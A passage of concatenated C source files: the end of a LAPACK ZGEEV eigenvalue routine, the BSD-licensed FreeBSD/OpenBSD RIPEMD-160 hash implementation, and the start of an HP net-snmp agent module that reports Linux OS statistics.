/* Computing 2nd power */
d__2 = d_imag(&vr[k + i__ * vr_dim1]);
rwork[irwork + k - 1] = d__1 * d__1 + d__2 * d__2;
/* L30: */
}
k = idamax_(n, &rwork[irwork], &c__1);
d_cnjg(&z__2, &vr[k + i__ * vr_dim1]);
d__1 = sqrt(rwork[irwork + k - 1]);
z__1.r = z__2.r / d__1, z__1.i = z__2.i / d__1;
tmp.r = z__1.r, tmp.i = z__1.i;
zscal_(n, &tmp, &vr[i__ * vr_dim1 + 1], &c__1);
i__2 = k + i__ * vr_dim1;
i__3 = k + i__ * vr_dim1;
d__1 = vr[i__3].r;
z__1.r = d__1, z__1.i = 0.;
vr[i__2].r = z__1.r, vr[i__2].i = z__1.i;
/* L40: */
}
}
/* Undo scaling if necessary */
L50:
if (scalea) {
i__1 = *n - *info;
/* Computing MAX */
i__3 = *n - *info;
i__2 = max(i__3,1);
zlascl_("G", &c__0, &c__0, &cscale, &anrm, &i__1, &c__1, &w[*info + 1]
, &i__2, &ierr);
if (*info > 0) {
i__1 = ilo - 1;
zlascl_("G", &c__0, &c__0, &cscale, &anrm, &i__1, &c__1, &w[1], n,
&ierr);
}
}
work[1].r = (doublereal) maxwrk, work[1].i = 0.;
return 0;
/* End of ZGEEV */
} /* zgeev_ */
|
870987.c | /* $FreeBSD: src/sys/opencrypto/rmd160.c,v 1.3 2005/01/07 02:29:16 imp Exp $ */
/* $OpenBSD: rmd160.c,v 1.3 2001/09/26 21:40:13 markus Exp $ */
/*-
* Copyright (c) 2001 Markus Friedl. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
* Preneel, Bosselaers, Dobbertin, "The Cryptographic Hash Function RIPEMD-160",
* RSA Laboratories, CryptoBytes, Volume 3, Number 2, Autumn 1997,
* ftp://ftp.rsasecurity.com/pub/cryptobytes/crypto3n2.pdf
*/
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/endian.h>
#include <opencrypto/rmd160.h>
#define PUT_64BIT_LE(cp, value) do { \
(cp)[7] = (value) >> 56; \
(cp)[6] = (value) >> 48; \
(cp)[5] = (value) >> 40; \
(cp)[4] = (value) >> 32; \
(cp)[3] = (value) >> 24; \
(cp)[2] = (value) >> 16; \
(cp)[1] = (value) >> 8; \
(cp)[0] = (value); } while (0)
#define PUT_32BIT_LE(cp, value) do { \
(cp)[3] = (value) >> 24; \
(cp)[2] = (value) >> 16; \
(cp)[1] = (value) >> 8; \
(cp)[0] = (value); } while (0)
#define H0 0x67452301U
#define H1 0xEFCDAB89U
#define H2 0x98BADCFEU
#define H3 0x10325476U
#define H4 0xC3D2E1F0U
#define K0 0x00000000U
#define K1 0x5A827999U
#define K2 0x6ED9EBA1U
#define K3 0x8F1BBCDCU
#define K4 0xA953FD4EU
#define KK0 0x50A28BE6U
#define KK1 0x5C4DD124U
#define KK2 0x6D703EF3U
#define KK3 0x7A6D76E9U
#define KK4 0x00000000U
/* rotate x left n bits. */
#define ROL(n, x) (((x) << (n)) | ((x) >> (32-(n))))
#define F0(x, y, z) ((x) ^ (y) ^ (z))
#define F1(x, y, z) (((x) & (y)) | ((~x) & (z)))
#define F2(x, y, z) (((x) | (~y)) ^ (z))
#define F3(x, y, z) (((x) & (z)) | ((y) & (~z)))
#define F4(x, y, z) ((x) ^ ((y) | (~z)))
#define R(a, b, c, d, e, Fj, Kj, sj, rj) \
do { \
a = ROL(sj, a + Fj(b,c,d) + X(rj) + Kj) + e; \
c = ROL(10, c); \
} while(0)
#define X(i) x[i]
static u_char PADDING[64] = {
0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
};
void
RMD160Init(RMD160_CTX *ctx)
{
ctx->count = 0;
ctx->state[0] = H0;
ctx->state[1] = H1;
ctx->state[2] = H2;
ctx->state[3] = H3;
ctx->state[4] = H4;
}
void
RMD160Update(RMD160_CTX *ctx, const u_char *input, u_int32_t len)
{
u_int32_t have, off, need;
have = (ctx->count/8) % 64;
need = 64 - have;
ctx->count += 8 * len;
off = 0;
if (len >= need) {
if (have) {
memcpy(ctx->buffer + have, input, need);
RMD160Transform(ctx->state, ctx->buffer);
off = need;
have = 0;
}
/* now the buffer is empty */
while (off + 64 <= len) {
RMD160Transform(ctx->state, input+off);
off += 64;
}
}
if (off < len)
memcpy(ctx->buffer + have, input+off, len-off);
}
void
RMD160Final(u_char digest[20], RMD160_CTX *ctx)
{
int i;
u_char size[8];
u_int32_t padlen;
PUT_64BIT_LE(size, ctx->count);
/*
* pad to 64 byte blocks, at least one byte from PADDING plus 8 bytes
* for the size
*/
padlen = 64 - ((ctx->count/8) % 64);
if (padlen < 1 + 8)
padlen += 64;
RMD160Update(ctx, PADDING, padlen - 8); /* padlen - 8 <= 64 */
RMD160Update(ctx, size, 8);
if (digest != NULL)
for (i = 0; i < 5; i++)
PUT_32BIT_LE(digest + i*4, ctx->state[i]);
memset(ctx, 0, sizeof (*ctx));
}
void
RMD160Transform(u_int32_t state[5], const u_char block[64])
{
u_int32_t a, b, c, d, e, aa, bb, cc, dd, ee, t, x[16];
#if BYTE_ORDER == LITTLE_ENDIAN
memcpy(x, block, 64);
#else
int i;
for (i = 0; i < 16; i++)
x[i] = bswap32(*(const u_int32_t*)(block+i*4));
#endif
a = state[0];
b = state[1];
c = state[2];
d = state[3];
e = state[4];
/* Round 1 */
R(a, b, c, d, e, F0, K0, 11, 0);
R(e, a, b, c, d, F0, K0, 14, 1);
R(d, e, a, b, c, F0, K0, 15, 2);
R(c, d, e, a, b, F0, K0, 12, 3);
R(b, c, d, e, a, F0, K0, 5, 4);
R(a, b, c, d, e, F0, K0, 8, 5);
R(e, a, b, c, d, F0, K0, 7, 6);
R(d, e, a, b, c, F0, K0, 9, 7);
R(c, d, e, a, b, F0, K0, 11, 8);
R(b, c, d, e, a, F0, K0, 13, 9);
R(a, b, c, d, e, F0, K0, 14, 10);
R(e, a, b, c, d, F0, K0, 15, 11);
R(d, e, a, b, c, F0, K0, 6, 12);
R(c, d, e, a, b, F0, K0, 7, 13);
R(b, c, d, e, a, F0, K0, 9, 14);
R(a, b, c, d, e, F0, K0, 8, 15); /* #15 */
/* Round 2 */
R(e, a, b, c, d, F1, K1, 7, 7);
R(d, e, a, b, c, F1, K1, 6, 4);
R(c, d, e, a, b, F1, K1, 8, 13);
R(b, c, d, e, a, F1, K1, 13, 1);
R(a, b, c, d, e, F1, K1, 11, 10);
R(e, a, b, c, d, F1, K1, 9, 6);
R(d, e, a, b, c, F1, K1, 7, 15);
R(c, d, e, a, b, F1, K1, 15, 3);
R(b, c, d, e, a, F1, K1, 7, 12);
R(a, b, c, d, e, F1, K1, 12, 0);
R(e, a, b, c, d, F1, K1, 15, 9);
R(d, e, a, b, c, F1, K1, 9, 5);
R(c, d, e, a, b, F1, K1, 11, 2);
R(b, c, d, e, a, F1, K1, 7, 14);
R(a, b, c, d, e, F1, K1, 13, 11);
R(e, a, b, c, d, F1, K1, 12, 8); /* #31 */
/* Round 3 */
R(d, e, a, b, c, F2, K2, 11, 3);
R(c, d, e, a, b, F2, K2, 13, 10);
R(b, c, d, e, a, F2, K2, 6, 14);
R(a, b, c, d, e, F2, K2, 7, 4);
R(e, a, b, c, d, F2, K2, 14, 9);
R(d, e, a, b, c, F2, K2, 9, 15);
R(c, d, e, a, b, F2, K2, 13, 8);
R(b, c, d, e, a, F2, K2, 15, 1);
R(a, b, c, d, e, F2, K2, 14, 2);
R(e, a, b, c, d, F2, K2, 8, 7);
R(d, e, a, b, c, F2, K2, 13, 0);
R(c, d, e, a, b, F2, K2, 6, 6);
R(b, c, d, e, a, F2, K2, 5, 13);
R(a, b, c, d, e, F2, K2, 12, 11);
R(e, a, b, c, d, F2, K2, 7, 5);
R(d, e, a, b, c, F2, K2, 5, 12); /* #47 */
/* Round 4 */
R(c, d, e, a, b, F3, K3, 11, 1);
R(b, c, d, e, a, F3, K3, 12, 9);
R(a, b, c, d, e, F3, K3, 14, 11);
R(e, a, b, c, d, F3, K3, 15, 10);
R(d, e, a, b, c, F3, K3, 14, 0);
R(c, d, e, a, b, F3, K3, 15, 8);
R(b, c, d, e, a, F3, K3, 9, 12);
R(a, b, c, d, e, F3, K3, 8, 4);
R(e, a, b, c, d, F3, K3, 9, 13);
R(d, e, a, b, c, F3, K3, 14, 3);
R(c, d, e, a, b, F3, K3, 5, 7);
R(b, c, d, e, a, F3, K3, 6, 15);
R(a, b, c, d, e, F3, K3, 8, 14);
R(e, a, b, c, d, F3, K3, 6, 5);
R(d, e, a, b, c, F3, K3, 5, 6);
R(c, d, e, a, b, F3, K3, 12, 2); /* #63 */
/* Round 5 */
R(b, c, d, e, a, F4, K4, 9, 4);
R(a, b, c, d, e, F4, K4, 15, 0);
R(e, a, b, c, d, F4, K4, 5, 5);
R(d, e, a, b, c, F4, K4, 11, 9);
R(c, d, e, a, b, F4, K4, 6, 7);
R(b, c, d, e, a, F4, K4, 8, 12);
R(a, b, c, d, e, F4, K4, 13, 2);
R(e, a, b, c, d, F4, K4, 12, 10);
R(d, e, a, b, c, F4, K4, 5, 14);
R(c, d, e, a, b, F4, K4, 12, 1);
R(b, c, d, e, a, F4, K4, 13, 3);
R(a, b, c, d, e, F4, K4, 14, 8);
R(e, a, b, c, d, F4, K4, 11, 11);
R(d, e, a, b, c, F4, K4, 8, 6);
R(c, d, e, a, b, F4, K4, 5, 15);
R(b, c, d, e, a, F4, K4, 6, 13); /* #79 */
aa = a ; bb = b; cc = c; dd = d; ee = e;
a = state[0];
b = state[1];
c = state[2];
d = state[3];
e = state[4];
/* Parallel round 1 */
R(a, b, c, d, e, F4, KK0, 8, 5);
R(e, a, b, c, d, F4, KK0, 9, 14);
R(d, e, a, b, c, F4, KK0, 9, 7);
R(c, d, e, a, b, F4, KK0, 11, 0);
R(b, c, d, e, a, F4, KK0, 13, 9);
R(a, b, c, d, e, F4, KK0, 15, 2);
R(e, a, b, c, d, F4, KK0, 15, 11);
R(d, e, a, b, c, F4, KK0, 5, 4);
R(c, d, e, a, b, F4, KK0, 7, 13);
R(b, c, d, e, a, F4, KK0, 7, 6);
R(a, b, c, d, e, F4, KK0, 8, 15);
R(e, a, b, c, d, F4, KK0, 11, 8);
R(d, e, a, b, c, F4, KK0, 14, 1);
R(c, d, e, a, b, F4, KK0, 14, 10);
R(b, c, d, e, a, F4, KK0, 12, 3);
R(a, b, c, d, e, F4, KK0, 6, 12); /* #15 */
/* Parallel round 2 */
R(e, a, b, c, d, F3, KK1, 9, 6);
R(d, e, a, b, c, F3, KK1, 13, 11);
R(c, d, e, a, b, F3, KK1, 15, 3);
R(b, c, d, e, a, F3, KK1, 7, 7);
R(a, b, c, d, e, F3, KK1, 12, 0);
R(e, a, b, c, d, F3, KK1, 8, 13);
R(d, e, a, b, c, F3, KK1, 9, 5);
R(c, d, e, a, b, F3, KK1, 11, 10);
R(b, c, d, e, a, F3, KK1, 7, 14);
R(a, b, c, d, e, F3, KK1, 7, 15);
R(e, a, b, c, d, F3, KK1, 12, 8);
R(d, e, a, b, c, F3, KK1, 7, 12);
R(c, d, e, a, b, F3, KK1, 6, 4);
R(b, c, d, e, a, F3, KK1, 15, 9);
R(a, b, c, d, e, F3, KK1, 13, 1);
R(e, a, b, c, d, F3, KK1, 11, 2); /* #31 */
/* Parallel round 3 */
R(d, e, a, b, c, F2, KK2, 9, 15);
R(c, d, e, a, b, F2, KK2, 7, 5);
R(b, c, d, e, a, F2, KK2, 15, 1);
R(a, b, c, d, e, F2, KK2, 11, 3);
R(e, a, b, c, d, F2, KK2, 8, 7);
R(d, e, a, b, c, F2, KK2, 6, 14);
R(c, d, e, a, b, F2, KK2, 6, 6);
R(b, c, d, e, a, F2, KK2, 14, 9);
R(a, b, c, d, e, F2, KK2, 12, 11);
R(e, a, b, c, d, F2, KK2, 13, 8);
R(d, e, a, b, c, F2, KK2, 5, 12);
R(c, d, e, a, b, F2, KK2, 14, 2);
R(b, c, d, e, a, F2, KK2, 13, 10);
R(a, b, c, d, e, F2, KK2, 13, 0);
R(e, a, b, c, d, F2, KK2, 7, 4);
R(d, e, a, b, c, F2, KK2, 5, 13); /* #47 */
/* Parallel round 4 */
R(c, d, e, a, b, F1, KK3, 15, 8);
R(b, c, d, e, a, F1, KK3, 5, 6);
R(a, b, c, d, e, F1, KK3, 8, 4);
R(e, a, b, c, d, F1, KK3, 11, 1);
R(d, e, a, b, c, F1, KK3, 14, 3);
R(c, d, e, a, b, F1, KK3, 14, 11);
R(b, c, d, e, a, F1, KK3, 6, 15);
R(a, b, c, d, e, F1, KK3, 14, 0);
R(e, a, b, c, d, F1, KK3, 6, 5);
R(d, e, a, b, c, F1, KK3, 9, 12);
R(c, d, e, a, b, F1, KK3, 12, 2);
R(b, c, d, e, a, F1, KK3, 9, 13);
R(a, b, c, d, e, F1, KK3, 12, 9);
R(e, a, b, c, d, F1, KK3, 5, 7);
R(d, e, a, b, c, F1, KK3, 15, 10);
R(c, d, e, a, b, F1, KK3, 8, 14); /* #63 */
/* Parallel round 5 */
R(b, c, d, e, a, F0, KK4, 8, 12);
R(a, b, c, d, e, F0, KK4, 5, 15);
R(e, a, b, c, d, F0, KK4, 12, 10);
R(d, e, a, b, c, F0, KK4, 9, 4);
R(c, d, e, a, b, F0, KK4, 12, 1);
R(b, c, d, e, a, F0, KK4, 5, 5);
R(a, b, c, d, e, F0, KK4, 14, 8);
R(e, a, b, c, d, F0, KK4, 6, 7);
R(d, e, a, b, c, F0, KK4, 8, 6);
R(c, d, e, a, b, F0, KK4, 13, 2);
R(b, c, d, e, a, F0, KK4, 6, 13);
R(a, b, c, d, e, F0, KK4, 5, 14);
R(e, a, b, c, d, F0, KK4, 15, 0);
R(d, e, a, b, c, F0, KK4, 13, 3);
R(c, d, e, a, b, F0, KK4, 11, 9);
R(b, c, d, e, a, F0, KK4, 11, 11); /* #79 */
t = state[1] + cc + d;
state[1] = state[2] + dd + e;
state[2] = state[3] + ee + a;
state[3] = state[4] + aa + b;
state[4] = state[0] + bb + c;
state[0] = t;
}
|
625354.c | /*
* Note: this file originally auto-generated by mib2c using
* $
*/
#include <net-snmp/net-snmp-config.h>
#include <net-snmp/net-snmp-includes.h>
#include <net-snmp/agent/net-snmp-agent-includes.h>
#include <sys/time.h>
#include <sys/types.h>
#include "cpqLinOsMgmt.h"
#include "amsHelper.h"
#include "cpqLinOsDiskTable.h"
#include "cpqLinOsNetworkInterfaceTable.h"
#include "cpqLinOsProcessorTable.h"
oid cpqLinOsMib_oid[] = { 1, 3, 6, 1, 4, 1, 232, 23, 1 };
size_t cpqLinOsMib_oid_len = OID_LENGTH(cpqLinOsMib_oid);
oid cpqLinOsCommon_oid[] = { 1, 3, 6, 1, 4, 1, 232, 23, 2, 1, 4 };
size_t cpqLinOsCommon_oid_len = OID_LENGTH(cpqLinOsCommon_oid);
oid cpqLinOsSys_oid[] = { 1, 3, 6, 1, 4, 1, 232, 23, 2, 2 };
size_t cpqLinOsSys_oid_len = OID_LENGTH(cpqLinOsSys_oid);
oid cpqLinOsMem_oid[] = { 1, 3, 6, 1, 4, 1, 232, 23, 2, 4 };
size_t cpqLinOsMem_oid_len = OID_LENGTH(cpqLinOsMem_oid);
oid cpqLinOsSwap_oid[] = { 1, 3, 6, 1, 4, 1, 232, 23, 2, 6 };
size_t cpqLinOsSwap_oid_len = OID_LENGTH(cpqLinOsSwap_oid);
#define CPQLINOSMIBREVMAJOR 1
#define CPQLINOSMIBREVMINOR 2
#define CPQLINOSMIBCONDITION 3
#define CPQLINOSCOMMONPOLLFREQ 1
#define CPQLINOSCOMMONOBSERVEDPOLLCYCLE 2
#define CPQLINOSCOMMONOBSERVEDTIMESEC 3
#define CPQLINOSCOMMONOBSERVEDTIMEMSEC 4
#define CPQLINOSSYSTEMUPTIME 2
#define CPQLINOSSYSCONTEXTSWITCHPERSEC 4
#define CPQLINOSSYSPROCESSES 6
#define CPQLINOSMEMTOTAL 2
#define CPQLINOSMEMFREE 3
#define CPQLINOSMEMHIGHTOTAL 4
#define CPQLINOSMEMHIGHFREE 5
#define CPQLINOSMEMLOWTOTAL 6
#define CPQLINOSMEMLOWFREE 7
#define CPQLINOSMEMSWAPTOTAL 8
#define CPQLINOSMEMSWAPFREE 9
#define CPQLINOSMEMCACHED 10
#define CPQLINOSMEMSWAPCACHED 11
#define CPQLINOSMEMACTIVE 12
#define CPQLINOSMEMINACTIVEDIRTY 13
#define CPQLINOSMEMINACTIVECLEAN 14
#define CPQLINOSSWAPINPERSEC 2
#define CPQLINOSSWAPOUTPERSEC 3
#define CPQLINOSPAGESWAPINPERSEC 4
#define CPQLINOSPAGESWAPOUTPERSEC 5
#define CPQLINOSMINFLTPERSEC 6
#define CPQLINOSMAJFLTPERSEC 7
static struct timeval the_time[2];
struct timeval *curr_time = &the_time[0];
struct timeval *prev_time = &the_time[1];
struct cpqLinOsMib mib;
struct cpqLinOsCommon common;
struct cpqLinOsSys sys;
struct cpqLinOsMem mem;
struct cpqLinOsSwap swap;
extern int cpqLinOsCommon_load(netsnmp_cache * cache, void *vmagic);
extern void cpqLinOsCommon_free(netsnmp_cache * cache, void *vmagic);
extern int cpqLinOsSys_load(netsnmp_cache * cache, void *vmagic);
extern void cpqLinOsSys_free(netsnmp_cache * cache, void *vmagic);
extern int cpqLinOsMem_load(netsnmp_cache * cache, void *vmagic);
extern void cpqLinOsMem_free(netsnmp_cache * cache, void *vmagic);
extern int cpqLinOsSwap_load(netsnmp_cache * cache, void *vmagic);
extern void cpqLinOsSwap_free(netsnmp_cache * cache, void *vmagic);
int cpqPerfPollInt = 30;
extern void init_cpqLinOsCommon();
extern void init_cpqLinOsSys();
extern void init_cpqLinOsMem();
extern void init_cpqLinOsSwap();
extern void init_cpqLinOsMgmt();
/** Initializes the cpqLinOsMgmt module */
void init_cpqLinOsMib(void)
{
netsnmp_register_scalar_group(
netsnmp_create_handler_registration("cpqLinOsMib",
cpqLinOsMib_handler,
cpqLinOsMib_oid,
cpqLinOsMib_oid_len,
HANDLER_CAN_RONLY),
CPQLINOSMIBREVMAJOR, CPQLINOSMIBCONDITION);
return;
}
void
init_cpqLinOsCommon(void)
{
netsnmp_mib_handler *handler = NULL;
netsnmp_cache *cache = NULL;
netsnmp_handler_registration *reg;
int reg_grp_ret = SNMPERR_SUCCESS;
reg = netsnmp_create_handler_registration("cpqLinOsCommon",
cpqLinOsCommon_handler,
cpqLinOsCommon_oid,
cpqLinOsCommon_oid_len,
HANDLER_CAN_RONLY);
reg_grp_ret = netsnmp_register_scalar_group(reg,
CPQLINOSCOMMONPOLLFREQ,
CPQLINOSCOMMONOBSERVEDTIMEMSEC);
cache = netsnmp_cache_create(5, /* timeout in seconds */
cpqLinOsCommon_load, cpqLinOsCommon_free,
cpqLinOsCommon_oid, cpqLinOsCommon_oid_len);
if (NULL == cache) {
snmp_log(LOG_ERR, "error creating cache for cpqLinOsCommon\n");
goto bail;
}
cache->flags = NETSNMP_CACHE_PRELOAD |
NETSNMP_CACHE_DONT_FREE_EXPIRED |
NETSNMP_CACHE_DONT_AUTO_RELEASE |
NETSNMP_CACHE_DONT_FREE_BEFORE_LOAD |
NETSNMP_CACHE_DONT_INVALIDATE_ON_SET;
handler = netsnmp_cache_handler_get(cache);
if (NULL == handler) {
snmp_log(LOG_ERR,
"error creating cache handler for cpqLinOsCommon\n");
goto bail;
}
if (SNMPERR_SUCCESS != netsnmp_inject_handler(reg, handler)) {
snmp_log(LOG_ERR,
"error injecting cache handler for cpqLinOsCommon\n");
goto bail;
}
handler = NULL; /* reg has it */
return;
bail: /* not ok */
if (handler)
netsnmp_handler_free(handler);
if (cache)
netsnmp_cache_free(cache);
if (reg_grp_ret == SNMPERR_SUCCESS)
if (reg)
netsnmp_handler_registration_free(reg);
return;
}
void
init_cpqLinOsSys(void)
{
netsnmp_mib_handler *handler = NULL;
netsnmp_cache *cache = NULL;
netsnmp_handler_registration *reg;
int reg_grp_ret = SNMPERR_SUCCESS;
reg = netsnmp_create_handler_registration("cpqLinOsSys",
cpqLinOsSys_handler,
cpqLinOsSys_oid,
cpqLinOsSys_oid_len,
HANDLER_CAN_RONLY);
reg_grp_ret = netsnmp_register_scalar_group(reg,
CPQLINOSSYSTEMUPTIME,
CPQLINOSSYSPROCESSES);
cache = netsnmp_cache_create(cpqPerfPollInt, /* timeout in seconds */
cpqLinOsSys_load, cpqLinOsSys_free,
cpqLinOsSys_oid, cpqLinOsSys_oid_len);
if (NULL == cache) {
snmp_log(LOG_ERR, "error creating cache for cpqLinOsSys\n");
goto bail;
}
cache->flags = NETSNMP_CACHE_PRELOAD |
NETSNMP_CACHE_DONT_FREE_EXPIRED |
NETSNMP_CACHE_DONT_AUTO_RELEASE |
NETSNMP_CACHE_DONT_FREE_BEFORE_LOAD |
NETSNMP_CACHE_DONT_INVALIDATE_ON_SET;
handler = netsnmp_cache_handler_get(cache);
if (NULL == handler) {
snmp_log(LOG_ERR,
"error creating cache handler for cpqLinOsSys\n");
goto bail;
}
if (SNMPERR_SUCCESS != netsnmp_inject_handler(reg, handler)) {
snmp_log(LOG_ERR,
"error injecting cache handler for cpqLinOsSys\n");
goto bail;
}
handler = NULL; /* reg has it */
return;
bail: /* not ok */
if (handler)
netsnmp_handler_free(handler);
if (cache)
netsnmp_cache_free(cache);
if (reg_grp_ret == SNMPERR_SUCCESS)
if (reg)
netsnmp_handler_registration_free(reg);
return;
}
void
init_cpqLinOsMem(void)
{
netsnmp_mib_handler *handler = NULL;
netsnmp_cache *cache = NULL;
netsnmp_handler_registration *reg;
int rc;
reg =
netsnmp_create_handler_registration("cpqLinOsMem",
cpqLinOsMem_handler,
cpqLinOsMem_oid, cpqLinOsMem_oid_len,
HANDLER_CAN_RONLY);
rc = netsnmp_register_scalar_group( reg,
CPQLINOSMEMTOTAL, CPQLINOSMEMINACTIVECLEAN);
if (rc != SNMPERR_SUCCESS)
return;
cache = netsnmp_cache_create(cpqPerfPollInt, /* timeout in seconds */
cpqLinOsMem_load, cpqLinOsMem_free,
cpqLinOsMem_oid, cpqLinOsMem_oid_len);
if (NULL == cache) {
snmp_log(LOG_ERR, "error creating cache for cpqLinOsMem\n");
goto bail;
}
cache->flags = NETSNMP_CACHE_PRELOAD |
NETSNMP_CACHE_DONT_FREE_EXPIRED |
NETSNMP_CACHE_DONT_AUTO_RELEASE |
NETSNMP_CACHE_DONT_FREE_BEFORE_LOAD |
NETSNMP_CACHE_DONT_INVALIDATE_ON_SET;
handler = netsnmp_cache_handler_get(cache);
if (NULL == handler) {
snmp_log(LOG_ERR,
"error creating cache handler for cpqLinOsMem\n");
goto bail;
}
if (SNMPERR_SUCCESS != netsnmp_inject_handler(reg, handler)) {
snmp_log(LOG_ERR,
"error injecting cache handler for cpqLinOsMem\n");
goto bail;
}
handler = NULL; /* reg has it */
return;
bail: /* not ok */
if (handler)
netsnmp_handler_free(handler);
if (cache)
netsnmp_cache_free(cache);
if (reg)
netsnmp_handler_registration_free(reg);
return;
}
void
init_cpqLinOsSwap(void)
{
netsnmp_mib_handler *handler = NULL;
netsnmp_cache *cache = NULL;
netsnmp_handler_registration *reg;
int rc;
reg =
netsnmp_create_handler_registration("cpqLinOsSwap",
cpqLinOsSwap_handler,
cpqLinOsSwap_oid, cpqLinOsSwap_oid_len,
HANDLER_CAN_RONLY);
rc = netsnmp_register_scalar_group( reg,
CPQLINOSSWAPINPERSEC, CPQLINOSMAJFLTPERSEC);
if (rc != SNMPERR_SUCCESS)
return;
cache = netsnmp_cache_create(cpqPerfPollInt, /* timeout in seconds */
cpqLinOsSwap_load, cpqLinOsSwap_free,
cpqLinOsSwap_oid, cpqLinOsSwap_oid_len);
if (NULL == cache) {
snmp_log(LOG_ERR, "error creating cache for cpqLinOsCommon\n");
goto bail;
}
cache->flags = NETSNMP_CACHE_PRELOAD |
NETSNMP_CACHE_DONT_FREE_EXPIRED |
NETSNMP_CACHE_DONT_AUTO_RELEASE |
NETSNMP_CACHE_DONT_FREE_BEFORE_LOAD |
NETSNMP_CACHE_DONT_INVALIDATE_ON_SET;
handler = netsnmp_cache_handler_get(cache);
if (NULL == handler) {
snmp_log(LOG_ERR,
"error creating cache handler for cpqLinOsCommon\n");
goto bail;
}
if (SNMPERR_SUCCESS != netsnmp_inject_handler(reg, handler)) {
snmp_log(LOG_ERR,
"error injecting cache handler for cpqLinOsCommon\n");
goto bail;
}
handler = NULL; /* reg has it */
return;
bail: /* not ok */
if (handler)
netsnmp_handler_free(handler);
if (cache)
netsnmp_cache_free(cache);
if (reg)
netsnmp_handler_registration_free(reg);
return;
}
void
init_cpqLinOsMgmt(void)
{
DEBUGMSGTL(("cpqLinOsMgmt", "Initializing\n"));
//cpqHostMibStatusArray[CPQMIB].major = CPQMIBREVMAJOR;
//cpqHostMibStatusArray[CPQMIB].minor = CPQMIBREVMINOR;
//cpqHostMibStatusArray[CPQMIB].cond = MIB_CONDITION_OK;
init_cpqLinOsMib();
init_cpqLinOsCommon();
init_cpqLinOsSys();
init_cpqLinOsMem();
init_cpqLinOsSwap();
initialize_table_cpqLinOsDiskTable();
initialize_table_cpqLinOsNetworkInterfaceTable();
initialize_table_cpqLinOsProcessorTable();
//cpqHoMibHealthStatusArray[CPQMIBHEALTHINDEX] = MIB_CONDITION_OK;
//cpqHostMibStatusArray[CPQMIB].stat = MIB_STATUS_AVAILABLE;
}
int
cpqLinOsMib_handler(netsnmp_mib_handler *handler,
netsnmp_handler_registration *reginfo,
netsnmp_agent_request_info *reqinfo,
netsnmp_request_info *requests)
{
long val = 0;
switch (reqinfo->mode) {
case MODE_GET:
switch (requests->requestvb->name[ reginfo->rootoid_len - 2 ]) {
case CPQLINOSMIBREVMAJOR:
val = CPQMIBREVMAJOR;
break;
case CPQLINOSMIBREVMINOR:
val = CPQMIBREVMINOR;
break;
case CPQLINOSMIBCONDITION:
val = MIB_CONDITION_OK;
break;
default:
/*
* An unsupported/unreadable column (if applicable)
*/
snmp_log(LOG_ERR, "unknown object (%lu) in cpqLinOs_handler\n",
requests->requestvb->name[ reginfo->rootoid_len - 2 ]);
netsnmp_set_request_error( reqinfo, requests,
SNMP_NOSUCHOBJECT );
return SNMP_ERR_NOERROR;
}
snmp_set_var_typed_value(requests->requestvb, ASN_INTEGER,
(u_char *)&val, sizeof(val));
break;
default:
snmp_log(LOG_ERR, "unknown mode (%d) in cpqLinOs_handlery\n",
reqinfo->mode);
return SNMP_ERR_GENERR;
}
return SNMP_ERR_NOERROR;
}
int
cpqLinOsCommon_handler(netsnmp_mib_handler *handler,
netsnmp_handler_registration *reginfo,
netsnmp_agent_request_info *reqinfo,
netsnmp_request_info *requests)
{
long val = 0;
switch (reqinfo->mode) {
case MODE_GET:
switch (requests->requestvb->name[ reginfo->rootoid_len - 2 ]) {
case CPQLINOSCOMMONPOLLFREQ:
val = cpqPerfPollInt;
break;
case CPQLINOSCOMMONOBSERVEDPOLLCYCLE:
val = common.LastObservedPollCycle;
break;
case CPQLINOSCOMMONOBSERVEDTIMESEC:
val = common.LastObservedTimeSec;
break;
case CPQLINOSCOMMONOBSERVEDTIMEMSEC:
val = common.LastObservedTimeMSec;
break;
default:
/*
* An unsupported/unreadable column (if applicable)
*/
snmp_log(LOG_ERR, "unknown object (%lu) in cpqLinOsCommon_handler\n",
requests->requestvb->name[ reginfo->rootoid_len - 2 ]);
netsnmp_set_request_error( reqinfo, requests,
SNMP_NOSUCHOBJECT );
return SNMP_ERR_NOERROR;
}
snmp_set_var_typed_value(requests->requestvb, ASN_INTEGER,
(u_char *)&val, sizeof(val));
break;
default:
snmp_log(LOG_ERR, "unknown mode (%d) in cpqLinOs_handlery\n",
reqinfo->mode);
return SNMP_ERR_GENERR;
}
return SNMP_ERR_NOERROR;
}
int
cpqLinOsSys_handler(netsnmp_mib_handler *handler,
netsnmp_handler_registration *reginfo,
netsnmp_agent_request_info *reqinfo,
netsnmp_request_info *requests)
{
long val = 0;
switch (reqinfo->mode) {
case MODE_GET:
switch (requests->requestvb->name[ reginfo->rootoid_len - 2 ]) {
case CPQLINOSSYSTEMUPTIME:
snmp_set_var_typed_value(requests->requestvb, ASN_OCTET_STR,
(u_char *) sys.SystemUpTime,
